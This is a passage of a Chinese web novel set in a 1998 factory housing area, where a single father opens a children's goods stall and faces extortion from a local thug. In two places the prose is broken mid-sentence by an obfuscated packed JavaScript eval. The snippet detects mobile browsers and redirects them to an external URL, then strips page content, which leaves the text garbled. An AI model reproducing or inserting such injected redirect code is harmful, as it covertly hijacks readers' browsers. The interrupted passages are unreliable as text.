天刚亮,五点多,林凡就开了窗口,把商品整齐地摆在玻璃柜里:磁性写字板靠在最显眼的位置,屏幕擦得干干净净; 铅笔盒排成一排,小燕子的头像朝着外面,看着喜庆;AD钙奶放在角落,用块洗得发白的蓝布盖着,显得金贵,也怕落灰。 王猛穿着他最好的旧工装——洗得发白的蓝色,袖口缝了块补丁,他前一天晚上用烙铁熨了半天,把褶皱都熨平了。 他坐在小马扎上,腰板挺得笔直,像在厂里参加安全检查,眼睛瞪得老大,盯着每一个路过的人。 有孩子好奇地往窗口探头,他还会学着林凡的样子,小声问: “要不要看看?都是好东西,给孩子用的,安全——你看这袜子,纯棉的,不硌脚。” 林凡抱着笑笑,在旁边观察。 起初,路过的人只是瞥一眼这个突然冒出来的小棚子,脚步没停。有个大妈还嘀咕: “这破棚子也能卖东西? 别是假货吧?” 王猛听见了,想解释,被林凡拉住了 ——他知道,说再多不如让顾客自己看。 渐渐地,相熟的邻居被吸引过来。 张婶拎着菜篮子,菜叶子上还沾着露水,扒着窗口往里看: “哎呦,凡子、猛子,你们还真把这破棚子弄起来了? 刷了漆就是不一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607475|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着亮堂多了! 卖啥呢?给孩子用的?” “张婶,是啊,卖点小孩用的玩意儿,您看看有没有需要的。” 林凡笑着招呼,还从柜台里拿出块草莓味的橡皮递过去——那橡皮是粉色的,带着淡淡的香味,成本两**,卖五**, “您闻闻,这香味正,孩子写作业用着也开心,还不容易丢。 我家笑笑就用这个,丢了两块,现在天天揣兜里。” 张婶接过来闻了闻,眼睛亮得像星星: “这橡皮好!比小卖部的香多了!小卖部那个橡皮,一股子怪味,孩子都不爱用。 还有这铅笔盒,印着小燕子呢!我家小伟天天跟我闹着要,说同学有,他没有!” 她指着《还珠格格》铅笔盒,又看到了角落里的AD钙奶,惊讶地说: “哎呦,还有AD钙奶?这可不便宜!百货大楼卖一块二一瓶呢!我家小伟跟我要了好几次,我都没舍得买。” 张婶最后给孙子买了块橡皮,又犹豫着拿了瓶AD钙奶,嘴硬心软: “给我家小伟尝尝鲜,省得他总跟我闹,说我偏心。” 付了钱,她还站在门口跟路过的邻居说: “这东西挺好,橡皮香,铅笔盒也结实,凡子和猛子都是实在人,不会卖假货。” 有了第一个顾客,后面的人就像潮水似的涌过来。 早上八点多,家属区的孩子要上学,家长带着孩子路过,都被柜里的彩色商品吸引。 一个小男孩指着磁性写字板,哭闹着要买: “妈妈,我要那个能写字的板!小明就有,他昨天还在上面画画给我看!”家长拗不过,问了价,林凡说“八块钱”。 家长皱了皱眉: “这么贵?能便宜点不?” 林凡笑着说: “大姐,这写字板结实,你看这边框,是塑料的,摔不碎。 里面的笔能吸住,不会丢。孩子能用好几年,平均下来一天才几分钱,比买玩具划算多了。” 那家长想了想,咬咬牙付了钱,嘴里还念叨: “这钱够买两斤肉了,你可得好好用,不许丢!” 小男孩抱着写字板,笑得合不拢嘴。 还有个年轻妈妈,刚下班,看到纯棉袜子,问: “这袜子会不会起球?我之前在小卖部买的,洗了一次就起球,孩子穿着硌脚。” 王猛连忙说: “大姐,你放心,这袜子是纯棉的,我家孩子也穿这种——我昨天刚给我家小子买了两双,洗了一遍,没起球。你摸摸,这料子多软和。” 他说着,还把袜子递过去让她摸。 那妈妈摸了摸,觉得确实软和,一次性买了三双,说: “给我家孩子买两双,再给邻居家孩子带一双,省得我再跑一趟。” 王猛负责收钱找钱,忙得手忙脚乱。 有次,一个顾客买了双袜子,给了五块钱,王猛该找三块五,结果把五块当成一块找给人家,多找了三块。 林凡在旁边悄悄碰了碰他的胳膊,他才反应过来,脸一下子红到了脖子根,赶紧追上顾客,把钱要回来,一个劲地道歉: “对不起,对不起,我太慌了,算错了,您别介意。” 顾客看他实在,笑着说“没事”,还夸他“实在人”。 还有次,一个大爷买了瓶AD钙奶,给了张皱巴巴的五块钱。 王猛怕是假的,对着光看了半天,又用手指摸了摸上面的纹路,才小心翼翼地放进钱盒里 ——他以前收过**,那回赔了十块,心疼了好几天。 但不管多忙,王猛脸上都挂着笑。 额头上的汗顺着脸颊往下淌,滴在工装上,洇出小小的湿痕,他也顾不上擦,只偶尔用袖子抹一把。 林凡看着他的样子,心里踏实——他知道,王猛是真的把这个摊子当成了自己的事。 天黑下来,六点多,家属区的孩子都回家了,摊子才冷清下来。 两人坐在小马扎上,开始盘点收入。 王猛把钱盒里的钱倒出来,**票和硬币堆了一小堆,用报纸包了三层。林凡一张张数,王猛在旁边看着,眼睛都不眨。 数完了,林凡笑着说: “一共八十二块五!” 王猛愣了愣,不敢相信: “这么多?” 林凡又数了一遍,没错,八十二块五。 接着算成本——卖了五个磁性写字板(赚二十五)、三个铅笔盒(赚十二)、五双袜子(赚五)、两瓶AD钙奶(赚八**)、四块橡皮(赚一块二),还有两条手帕(赚一块四),总共毛利润三十二块九! 对于一个不足两平米、连招牌都不起眼的小棚子来说,这已经是天大的好开端。 王猛捏着那堆带着体温的**票,手都在抖,声音发颤: “凡……凡子!一天就赚这么多?这比我蹬三轮强太多了!我以前蹬一天三轮,最多也就赚二十块,还得累得腰酸背痛!” 他激动得眼睛里闪着光,那是他下岗后,第一次觉得日子有了盼头,不是漆黑一片,而是有了点亮光。 林凡笑了,从里面数出六块钱递给王猛——是按日工资折算的,一百二一个月,平均一天四块,但他多给了两块,算是开业红包: “这是你今天的工钱,拿着,以后月底一起结。今天开业,多给两块,沾沾喜气。” 王猛看着那六块钱,愣了一下,随即猛地摆手,手都快挥到林凡脸上了: “不不不!凡子,这店都是你的本钱,我就是看看摊、收收钱,也没干啥重活,哪能一天拿这么多?使不得!太多了!四块就够了,多的我不能要!” “拿着!” 林凡强行把钱塞进他手里,指尖触到他掌心的老茧,心里发酸, “说好的一起干,就有你一份。今天你忙前忙后,比我还累,这钱你该得。 而且今天只是开始,以后生意好了,咱们还能租个大点的地方,到时候给你涨工资,让你家孩子也能天天喝上AD钙奶,不用再跟你要饼干。” 王猛捏着那六块钱,指腹反复蹭着纸币的纹路,像在摸什么稀世珍宝。 这个五大三粗、平时连哭都觉得丢人的汉子,眼眶突然红了,眼泪在里面打转,却强忍着没掉下来。 他用力点了点头,没说话,只是把钱仔细地揣进内衣口袋,还拍了拍,像是怕它长翅膀飞了。 林凡知道,这个伙伴,算是稳住了。 可就在他们收拾东西准备关挡板的时候,一阵脚步声传来——嗒嗒嗒,慢悠悠的,带着股痞气,像踩在人的心上。那声音越来越近,林凡的心里突然一紧,有种不好的预感。 几个吊儿郎当的身影晃了过来,为首的正是前几天在汽车站拦过林凡的高壮青年**。 他嘴里叼着烟,烟蒂快烧到手指了,火星子簌簌往下掉。 他穿着件花衬衫,扣子没扣好,露出里面的肥肉,眼神像淬了冰,死死盯着小棚子,嘴角还带着点冷笑。 林凡的心,猛地沉了下去,像掉进了冰窟窿。 他下意识地把笑笑往身后护了护,手臂紧紧圈住孩子的身子,对王猛使了个眼色,声音压得极低: “猛子,沉住气,别冲动。” 王猛也看到了那几个人,脸色瞬间变了,从刚才的红润变得苍白。 他认得**——去年他蹬三轮时,**跟他要过“地盘费”,他不给,**就把他的三轮推到了沟里,车胎都摔破了。 王猛握紧拳头,指节泛白,慢慢站起来——棚子小,容不下太多人,真要动手,他得护住林凡和笑笑,哪怕自己挨揍也不能让孩子受委屈。 夕阳的光落在**身上,把他的影子拉得老长,罩住了小半个棚子,像块黑布盖了下来。 他吐掉烟蒂,用脚狠狠碾了碾,烟蒂在地上变成一滩灰,冷笑一声,声音像砂纸磨过木头: “听说这几天新开了个店,生意不错啊? 一天就赚不少吧?怎么着,开店了,不知道跟我打声招呼?” 麻烦,还是找上门了。 林凡知道,这不是偶然 ——小生意刚冒头,就像块刚出炉的馒头,总会引来盯着的苍蝇,尤其是在这鱼龙混杂的家属区。 **是这片的“街溜子”,专挑小摊贩欺负,收点“保护费”,不给就闹。 林凡深吸一口气,压下心里的慌。 他知道,这次躲不过去了 ——这不仅是为了自己,更是为了王猛, 为了这个刚有起色的小店,为了笑笑能安稳的日子。 他往前站了一步,挡住王猛和笑笑, 脸上挤出个平静的表情,准备应对这场迟早要来的冲突。 第十章:苍蝇与壁垒(上) 红砖墙的国营机床厂家属区里,1985年栽下的老槐树早把枝桠伸到了房顶,蝉鸣声裹着热浪滚过灰扑扑的巷口。 那高壮青年叫黑皮,是这片家属区里响当当的“街溜子头” 住这儿的多是机床厂退休的老工人、车间里攥着扳手的技工,个个守着“规矩本分”的信条过日子,偏生黑皮是个例外。 他游手好闲惯了,专挑软柿子捏:卖菜的张老太被他抢过两根顶花带刺的黄瓜,修鞋的刘师傅收的零钱被他摸走过五**,连巷口炸油条的王婶,都得每天多炸一根给他“孝敬”,不然油锅准得被他扔块石头。 黑皮常年裹着件洗得发白的的确良花衬衫,还是十年前时兴的喇叭领,如今领口卷着圈黑边,磨出的**絮粘在上面,左胸那块暗褐色的酱油渍格外扎眼——上周在巷口小馆赊账吃炒面时溅的,油星子晕开半掌大,至今没洗,都发了硬。 下身是条破洞牛仔裤,膝盖处磨得发亮,像打了层蜡,裤脚被他用剪刀胡乱剪过,长短不齐,露出的脚踝沾着家属区旁工地的黄泥巴,泥里还裹着点草屑,走一步能掉两粒,在地上留下串歪歪扭扭的印子。 他那焦黄的头发里藏着密密麻麻的头皮屑,风一吹就飘落在花衬衫上,像撒了把碎盐;走路总晃着肩膀,双臂微张,手腕上还晃着条断了链的塑料手链,活像只刚从隔壁废品站爬出来的野狗,连巷口蹲点的土狗见了他,都得夹着尾巴绕着走。 他身后跟着两个跟班,都是家属区里没正经活干的闲散青年。 前头那个叫麻杆,瘦得胸腔骨根根分明,像没填棉絮的骨架子,灰布裤腿空荡荡晃着,风一吹能贴在腿上,活像挂在竹竿上的破布; 左脸嵌着颗黄豆大的黑痣,上面还戳着根黑**,总戴顶破草帽——帽沿缺了个角,露出的草茎发黄,下雨时还漏过水,他却宝贝得很,说是“遮阳神器”。 后头那个是冬瓜,矮胖得像刚从井里捞上来的冬瓜,圆滚滚的肚子把印着“98春晚”的灰T恤顶得老高,领口的松紧带早松了,露出一圈油腻的肉; 走路时肚子先往前拱,蓝布裤腰总往下滑,得腾出一只手时不时往上提,裤裆处还磨出了毛边,走快了就“哗啦哗啦”响。 三人晃着步子,踢着路边的石子,慢悠悠到了家属区西南角的棚子前。 这棚子是林凡上周从退休的老王头那借来的——老王头以前堆杂物的地方,林凡软磨硬泡了三天,还送了两斤刚买的红富士苹果,才借来的——就搭在3号楼南侧的空地上,旁边挨着废品站,风一吹总带着股霉味,混着废品站里旧报纸的油墨味,呛得人鼻子发酸。 棚顶的石棉瓦有两处破洞,前两天下雨时,林凡在下面摆了个豁了口的塑料盆接水,此刻盆底积着半盆混着灰的泥水,水面漂着片枯树叶,晃悠着不肯沉。 棚子门是两块旧木板钉的,边缘还翘着木刺,林凡昨天刚刷了层廉价的天蓝色油漆,漆没干透,风一吹就飘来股刺鼻的味道,呛得人想打喷嚏,木板上还留着他没刷匀的漆痕,一道深一道浅。 黑皮抬脚就往木板上踹,“哐当”一声闷响,震得棚顶的石棉瓦簌簌掉灰,细小的石渣子像雪粒似的落在玻璃柜上。 那柜台是林凡从旧货市场花十五块钱淘的,玻璃上有道斜斜的裂痕,用透明胶带粘着,胶带都发黄了; 柜里摆着一毛钱一本的卡通贴纸笔记本——封面印着“还珠格格”,小燕子的眼睛画得亮晶晶的,是当时孩子们最爱的款式,林凡进了二十本,昨天刚卖出去两本。 五毛钱一副的塑料跳棋,红的绿的棋子装在透明盒子里,就是少了两颗绿棋子,林凡用玻璃球补上了,玻璃球上还沾着点胶水印。 还有刚进的草莓味橡皮,三分钱一块进货,打算卖五分钱,装在个铁盒子里,橡皮上的草莓图案被压得有点变形。此刻,一块橡皮从柜角滚到中间,“嗒”地撞在跳棋盒子上,声音轻得像片叶子落在地上,却在这安静的棚子里格外清晰。 “哟呵,这是真支棱起来了?” 黑皮吐掉嘴里的烟蒂——是根没抽完的经济烟,过滤嘴都黄得发油,烟蒂上还沾着点唾沫——烟蒂在地上滚了圈,沾了层灰,又被他用鞋底碾了碾。 他那鞋底前掌早磨平了,露出里面的帆布,碾烟蒂时格外用力,“咯吱”响了声,在地上留下个黑印,像块脏疤。 他皮笑肉不笑地盯着林凡,眼神像生锈的铁钩,刮过皮肤时,连汗**都跟着发紧;嘴角的胡茬没刮干净,根根发硬,透着股凶气,说话时唾沫星子顺着胡茬往下滴: “林凡,几天不见,**换炮啊?这破棚子刷了漆,还摆上玻璃柜了,这就当上小老板了?” 王猛“噌”地站起来——他本是坐在棚子角落的小马扎上帮林凡理货,手里还攥着个没拆封的塑料哨子,哨子上的彩色条纹都褪了色。 他比黑皮高半头,肩宽也宽出一圈,此刻绷着身子,像尊铁铸的塔堵在窗口,阴影几乎罩住半个棚子; 胳膊上的肌肉鼓起来,把洗得发白的旧工装袖子撑得发紧,袖口的线都崩开了两根,露出里面的棉线; 眼睛瞪得血红,像要冒火,攥着拳头的指节“咯咯”响,连呼吸都带着粗气,胸口起伏得像风箱,呼出来的气里还带着早上吃的玉米糊糊味: “黑皮!你想干啥?!” 他下意识地把林凡和笑笑往身后挡,掌心的老茧蹭到林凡的胳膊——那老茧是常年在工地搬砖磨的,糙得像砂纸,还带着急出来的汗,湿了林凡胳膊一片,凉丝丝的。 林凡赶紧拉了拉王猛的胳膊,指尖触到他紧绷的肌肉,像摸在晒透的硬石头上,硬得硌手,连肌肉的纹路都能摸得清清楚楚。他凑到王猛耳边,轻声示意: “别冲动,不值得——犯不着为他毁了自己。” 说完,他转身把笑笑往棚子最里面的角落推。那角落堆着三个进货的纸箱,最上面的印着“娃哈哈AD钙奶”的红色字样,字都褪了点色,箱子叠得有半人高,正好能挡住孩子的视线。 笑笑的小手还攥着个刚拆开的棒棒糖,糖纸是粉色的,印着只小熊,被她捏得皱巴巴的,糖汁顺着手指缝往下滴,粘在掌心。 “笑笑乖,” 林凡蹲下来,帮笑笑擦了擦掌心的糖汁,声音放得格外柔, “数数罐子里的水果糖,数到一百,爸爸就给你买新的小熊饼干——就是上次你在百货店看的那种,饼干上有小熊脸的,不许出来哦。” 笑笑点了点头,小手紧紧攥着铁皮糖罐——那是林凡以前在工地干活时发的搪瓷缸子改的,缸子边缘有点生锈,硌得她手心发红——指节都泛白了。 她没敢哭,上次她哭,黑皮曾凶过她“再哭就把你糖罐扔去废品站”,这话她记了好几天,连做梦都怕糖罐被抢。 她只偷偷从纸箱的缝隙里往外看,眼睛睁得圆圆的,像受惊的小兔子,睫毛还微微发颤。 林凡站起身,脸上挤出一丝无奈的笑,眼角的细纹里藏着掩不住的疲惫——这几天为了搭棚子、进货,他每天只睡四个小时,连饭都顾不上吃,有时候啃个凉馒头就算一顿。 他的衬衫领口也有点脏,是昨天刷棚子时沾的蓝油漆,像块补丁;袖口磨得发毛,露出里面的棉线,活像被生活磨平了所有棱角。他朝着黑皮走过去,脚步放得轻: “黑皮哥,您说笑了,什么老板不老板的。这棚子是借老王头的,货也没几件,就是混口饭吃,给孩子挣点奶粉钱——笑笑还在喝袋装奶粉,一袋三块五,够喝两天,贵的咱也买不起。” 他搓着手,指节因为紧张而发白,目光落在黑皮沾着油渍的衬衫上,只敢停一秒,就赶紧移开——怕多看两眼惹他不快。手心里的汗蹭在裤子上,留下片湿痕。 “奶粉钱?” 黑皮嗤笑一声,唾沫星子溅在玻璃柜上,留下点点黄印,像苍蝇屎。 他伸手就从柜里捞起一板AD钙奶——10瓶装的,林凡昨天刚进的,进价八块钱,他还没舍得给笑笑喝——手指在包装上蹭了蹭,指甲缝里的黑泥蹭在奶盒上,留下道黑印。 那黑泥是前几天在废品站翻东西沾的,他没洗,就这么带着。他掂量着奶板,晃了晃,听见里面奶液“哗啦”响,嘴角撇得更厉害: “这玩意儿可不便宜吧?一块二一瓶,你这棚子一天卖十瓶,也能赚不少。看来这饭混得不错,都喝上这奶了——哦不对,这是国产的,不过也比袋装奶粉强,我家那小子还没喝过呢。” 他身后的麻杆和冬瓜也嬉笑着伸手。 麻杆想去抓柜角的磁性写字板——三块钱进的,打算卖五块,板上还画着个小太阳——指尖刚碰到板边,就被林凡拦了。 林凡的手按在写字板上,没用力,却透着股不容拒绝的劲。冬瓜则盯着玻璃柜里印着小燕子的铅笔盒——四毛钱进的,卖六**,铅笔盒上的小燕子还闪着亮片——嘴里嘟囔着 “这玩意儿我家小子也想要,上次他看见邻居家孩子有,闹了好几天”,伸手就想拿,手指都碰到盒盖了。 “黑皮哥,小本生意,经不起折腾。” 林凡的手比他们快一步,轻轻按住麻杆的手腕——麻杆的手腕细得像根干柴,一捏就能感觉到骨头,他却硬撑着没缩,还想往回挣,脸都憋红了。 林凡又把冬瓜的手往回推了推,语气依旧客气,指尖却带着劲: “这板奶算我请哥几个解渴,别弄坏了别的——您看这铅笔盒,塑料的,一摔就裂,我还得卖给孩子呢,孩子盼着这盒呢。” 他顺势把AD钙奶塞到黑皮手里,又从柜台下摸出个铁皮盒——盒盖都锈了,是以前装饼干的,里面装着水果糖——倒出三根橘子味的,糖纸皱巴巴的,有的还粘了点灰,递给麻杆和冬瓜: “两位兄弟也尝尝,甜的,孩子都爱吃,您拿回去给家里娃也行,不值钱的玩意儿。” 黑皮愣了愣,显然没想到林凡这么“上道”。 以前他来闹,摊主不是跟他吵就是躲,有的还哭哭啼啼,林凡这态度倒让他有点意外。 但他掂了掂手里的AD钙奶,嘴角撇得更厉害,露出点不屑——这点东西可满足不了他: “凡子,你这就不实在了。哥几个来给你撑场子,就拿这个打发?” 他拧开AD钙奶的瓶盖,猛灌了一口,奶液顺着嘴角往下淌,滴在花衬衫的油渍上,晕开更大的污痕,像块地图。 他抹了把嘴,把奶瓶举着,语气里的凶气更重了: “我跟你说,这地方鱼龙混杂——上周西边的废品站就被人偷了,你这棚子没个照应可不行。以后哥帮你看着点,免得有不开眼的来捣乱。你呢,一个月意思意思,给一百块‘辛苦费’,怎么样?” “一百块?!” 王猛气得额头青筋直跳,像蚯蚓在皮肤下爬,看得清清楚楚。 他伸手就抄起旁边修棚子用的榔头——木柄是旧的,上面有不少划痕,是林凡从工地捡的,还带着点水泥印——木柄在他手里攥得发白,指节都陷进木头里,留下几道印子。 他往前跨了一步,榔头悬在半空,阴影正好罩住黑皮的脸,把黑皮的表情都遮暗了,声音里满是怒火: “黑皮你别太过分!这棚子一个月租金才三十,你开口就要一百,明抢啊!” 林凡的心也沉了下去,像坠了块铅——他早知道黑皮不会善罢甘休,却没想到胃口这么大。 1998年的家属区,普通工人月薪也就三百多,一百块相当于他小半个月的收入,他哪拿得出来? 但他脸上的笑没散,只是更苦了,连声音都低了些,带着点哀求: “黑皮哥,您这可真是高看我了。您看这棚子,破破烂烂的,石棉瓦都漏雨—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607476|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前两天下雨,我接了半盆水,半夜还起来倒了一次; 上个月从隔壁借了根电线,装了个15瓦的灯泡,晚上看货用,一个月电费都要五块。刨去租金三十、电费五块,再去了进货的本钱——您看这AD钙奶,一板赚四块,一天卖十板才赚四十,还不一定能卖那么多——我一个月能落下五十块就不错了。 今天开张第一天,早上到现在就卖了两本笔记本、一块橡皮,赚了一毛五,刚才买半斤猪头肉还是赊的,一块七**五,就想给猛子改善下伙食,他帮我看店也辛苦。” 他指了指桌角还没收拾的油纸,纸上沾着点肉渣,油印在铺桌子的旧报纸上——那是1998年6月的《晚报》,头版还印着“抗洪救灾”的新闻——晕出小小的圈,空气里还飘着点淡淡的肉香,是猪头肉特有的味道。 “少他妈跟我哭穷!” 黑皮把AD钙奶瓶重重顿在柜台上,“哐当”一声,奶液溅出来,洒在玻璃上,留下一道道白印,像鼻涕。他瞪着眼,唾沫星子横飞,连胡茬都翘起来了,声音也拔高了,在棚子里回荡: “老子看你是不见棺材不落泪!给我砸!” 麻杆和冬瓜立刻撸起袖子,却没敢动——麻杆伸手想掀柜台,玻璃柜没固定,一掀就能翻,但他指尖刚碰到玻璃边,就被王猛的眼神吓住了。 王猛那眼神像要**,瞪得他手都抖了,赶紧缩了回去;冬瓜则想去踹棚子的木板,脚刚抬起来,看见王猛举着的榔头又高了些,赶紧把脚收回来,怕被砸到,连往后退了两步,差点撞到麻杆。 “我看谁敢动!” 王猛怒吼一声,声音像闷雷滚过家属区,隔壁废品站的狗都被惊得“汪汪”叫,连树上的蝉都停了声。榔头举过头顶,指节因为用力而泛白,连手臂都在微微发抖——他是真急了,怕黑皮砸了林凡的生计,这可是林凡好不容易才弄起来的。 “今天谁敢动一下,我就跟谁拼命!” 他往窗口一站,整个棚子的入口都被挡住,像堵不可逾越的墙,连风都吹不进来。 阳光照在他身上,把他的影子拉得老长,正好罩住黑皮,像要把黑皮吞进去。 周围渐渐围过来下班的工人和邻居——都是穿着工装的,有的刚从机床厂下班,手里还拿着铝制饭盒,饭盒上印着“机床厂”三个字; 有人探头探脑,扒着别人的肩膀看,嘴里还小声议论;有人皱着眉,说“黑皮又来欺负人了”。 住在2号楼的张婶拎着菜篮子,里面装着两颗白菜、一把菠菜,菜叶上还沾着水珠,她站在人群外,嗓门格外大: “黑皮你干啥呢?欺负人家带孩子的算啥本事!林凡这孩子多老实,你也好意思下手——你良心被狗吃了?” 还有个穿工装的老头,是机床厂退休的李师傅,头发全白了,梳得整整齐齐,抱着胳膊站在人群前,声音虽轻,却透着股威严: “林凡这小伙子不容易,老婆走得早,就靠他一个人带孩子,你别太过分了!真要闹到派出所,老刘来了,你也没好果子吃——拘留所的饭可不好吃!” 黑皮也没想到王猛这个愣头青真敢拼命。 他平时欺负人,对方要么怂要么躲,没见过敢举榔头的,一时被镇住了。他手还攥着AD钙奶瓶,指节都发白了,却没再说话——他是来求财的,不是来打架的,真闹出血,派出所的老刘来了,他至少得蹲几天拘留,划不来。 林凡趁机拉住王猛的胳膊,把榔头往下按了按,掌心的汗蹭在王猛的袖子上,湿了一大片。 他深吸一口气,压下心里的慌,对黑皮说: “黑皮哥,何必动气呢?我是真拿不出一百块——您要是不信,我把进货的账本给您看,上面都记着呢。 这样,这个月我每天孝敬您一包烟,再加一瓶这个奶,您看行不?等以后生意真做起来,我肯定忘不了您的好处,到时候再给您加钱,您看咋样?” 他早算过账:最便宜的“经济烟”一包八毛钱,AD钙奶一块二,一天成本正好两块,一个月也就六十块——比一百块少了近一半,还符合他“小本生意赚不了多少”的人设,不会让人怀疑他藏了钱。 而且,每天见面给东西,也能少让黑皮找别的麻烦,算是“花钱买平安”。 黑皮眯着眼打量林凡——看他穿着旧衬衫,袖口都磨破了,脸上满是疲惫,不像装穷的样子;又看了看举着榔头的王猛,王猛还瞪着他,榔头没放下,眼神里的火还没消; 再扫了眼周围越来越多的邻居——有人已经开始指指点点,说他“欺负孤儿寡母”“没良心”,还有个穿西装的小伙子掏出了手机——那是当时稀罕的诺基亚直板机,黑色的,在人群里格外显眼,像是要打电话报警。 他咬了咬牙,心里盘算着:虽然没拿到一百块,但每天有烟有奶,一个月也能省不少钱——他自己抽烟一天得两包,喝奶也得一块二,这样算下来,等于白拿; 真闹大了,街道的李干事来了,他也得给几分面子,毕竟李干事管着家属区的治安,真把李干事惹了,他以后在这区里就不好混了,连赊账都没人肯给他。 “行啊,凡子,你小子会来事。” 黑皮冷哼一声,伸手夺过林凡递来的“经济烟”——烟盒是软的,被他捏得变了形,烟都皱了——揣进花衬衫的口袋里,口袋还破了个洞,能看见烟盒的一角。 “那就按你说的来。但你记住,要是让我知道你阳奉阴违——比如哪天不给烟不给奶,或者生意好了不上供,可别怪我不讲情面!” 他狠狠瞪了王猛一眼,眼神像淬了毒的针,带着威胁;又对麻杆和冬瓜挥了挥手: “走了!” 三人晃晃悠悠地走了,黑皮走之前还不忘把那板没喝完的AD钙奶揣进兜里,奶液从瓶口漏出来,滴在他的牛仔裤上,留下道白印,像块疤。 第十一章:苍蝇与壁垒(下) 围观的人群见没打起来,议论着散了。 张婶走过来,拍了拍林凡的肩膀——她的手很粗糙,带着洗菜的水,有点凉,却很有力: “凡子,你也太老实了,跟黑皮这种人不用客气,他再敢来,你就找街道的李干事,李干事最恨这种欺负人的,能治得了他!” 王猛放下榔头,气得呼哧呼哧像头老牛,胸口起伏得厉害,连话都说不连贯,手指着黑皮走的方向,声音都发颤: “妈的!这黑皮就是个无赖!凡子,咱……咱就这么忍着?天天喂这帮孙子?这钱花得冤!” 林凡的脸色也冷了下来,刚才的客气全没了,像层壳被剥掉。 他看着黑皮消失的方向——黑皮拐进了家属区的小巷,巷口有个公共厕所,墙面上满是涂鸦——眼神像淬了冰的刀,带着狠劲: “忍?当然不。猛子,今天你做得对,没你,这棚子可能真被砸了,但拼命不是长久办法——你总不能天天举着榔头守着。咱们得想办法筑道墙,让他们不敢随便来惹事,让笑笑不用再躲着。” 他伸手摸了摸笑笑的头,孩子还躲在纸箱后,小手攥着糖罐,糖纸都被捏破了,露出里面的橘子糖,糖都有点化了,粘在指头上。笑笑见他看过来,小声说: “爸爸,我数到五十了,还没数完。”声音软乎乎的,带着点怕。 林凡帮笑笑把糖纸理了理,又擦了擦她手上的糖汁,才起身关好棚板,锁上那把旧挂锁——锁芯都锈了,是林凡从旧货市场花一块钱买的,钥匙转了好几圈才锁上,还“咔哒”响了一声,像在叹气。 他抱起笑笑,孩子的小胳膊紧紧搂着他的脖子,脸贴在他的胸口,还在微微发抖,连呼吸都很轻,怕惊动了什么。 “别怕,爸爸在,以后没人敢欺负咱们了。” 他轻声哄着,脚步却走得沉,心里像压着块石头——黑皮这只“苍蝇”不赶走,他这小店就不得安宁,笑笑也总活在害怕里。 回家的路上,林凡没说话,大脑却转得飞快。 路边的垃圾桶旁,有只苍蝇在叮一块剩馒头,嗡嗡地飞,时不时停下来啃两口,那馒头都发馊了,还沾着点土。 他路过时,挥手赶走了苍蝇,馒头滚到了路边,又引来两只蚂蚁。他突然明白,底层的小生意,在这个年代就像没盖盖子的肉——裸露在阳光下,总会引来苍蝇叮,躲也躲不开,忍也忍不久,拼也拼不过。 光靠躲、靠忍、靠拼命,都解决不了根本问题,得给自己筑一道“壁垒”,一道让苍蝇不敢轻易下嘴的墙。 晚上,哄睡笑笑后——笑笑睡前还拉着他的衣角,小声问 “爸爸,明天黑皮叔叔还来吗”, 他摸了摸笑笑的头,说 “不来了,爸爸会保护你”—— 林凡坐在昏黄的钨丝灯下。那灯泡是15瓦的,光线很暗,照在桌上只能看清一小块,周围都是昏沉沉的影子。 桌上的笔记本摊开着,是他捡的旧作业本,背面用来记东西,纸都有点发黄了。 他拿起铅笔——是柜台里剩的,笔芯有点断,写起来总“断墨”——在“安全第一”下面重重写下三个词:关系、规则、借力。 笔尖划过纸页,留下深深的痕迹,像在木板上刻下决心,连纸都被戳得微微发皱。他看着这三个词,手指在上面敲了敲,开始琢磨具体的办法,像在盘算一盘棋,一步都不敢错: 直接给黑皮塞钱?不行。欲壑难填,今天要一百,明天可能要两百,后天说不定要五百,还会被他捏着把柄—— 他会觉得你好欺负,以后想怎么拿捏,就怎么拿捏,永远甩不掉,就像苍蝇叮上肉,越叮越紧,最后连骨头都要被啃了。 那就要靠“规则”——把自己放进正式的规则里,让黑皮这种苍蝇不敢轻易下嘴。规则就像苍蝇拍,不一定能打死苍蝇,但至少能让它们不敢乱飞,不敢明目张胆地叮肉。 思路渐渐清晰,像雾散后的路,每一步都很明确: 第一步,办营业执照。 明天一早就去工商所,哪怕只是最简陋的个体户执照,也代表他的生意是受政府认可的——不是“野摊子”,不是黑皮想砸就能砸的。 黑皮欺负无照摊贩时理直气壮,因为没人管;但对有执照的正式商户,多少会忌惮——闹大了可能引来工商所的人,他也不想惹官非,毕竟“官”比“混子”更不好惹,他再横,也不敢跟政府对着干。 第二步,找街道搭线。 去跟街道的李干事搞好关系——李干事是家属区的“父母官”,管着治安、卫生,黑皮再横,也得给街道几分面子,怕李干事找他麻烦。 按时交租金、卫生费(一个月五块),偶尔送点不值钱的小礼——比如快过期的奶糖、笑笑穿小的旧衣服(洗干净的,叠得整整齐齐),不用贵,关键是混个脸熟,让李干事记得有他这么个人,记得他是个“老实本分的生意人”。 真出事了,李干事的一句话,可能比王猛的榔头还管用,黑皮再凶,也不敢不听李干事的话。 第三步,处好邻居关系。 跟旁边修鞋的张师傅、卖报纸的刘大妈处好关系——张师傅是退伍军人,脾气直,嗓门大,能镇住人,以前黑皮想抢他的钱,被他用修鞋的榔头赶跑过; 刘大妈嘴碎,消息灵通,家属区里一点事她都知道,而且她认识的人多,真有事,她喊一嗓子,能来好几个邻居帮忙。 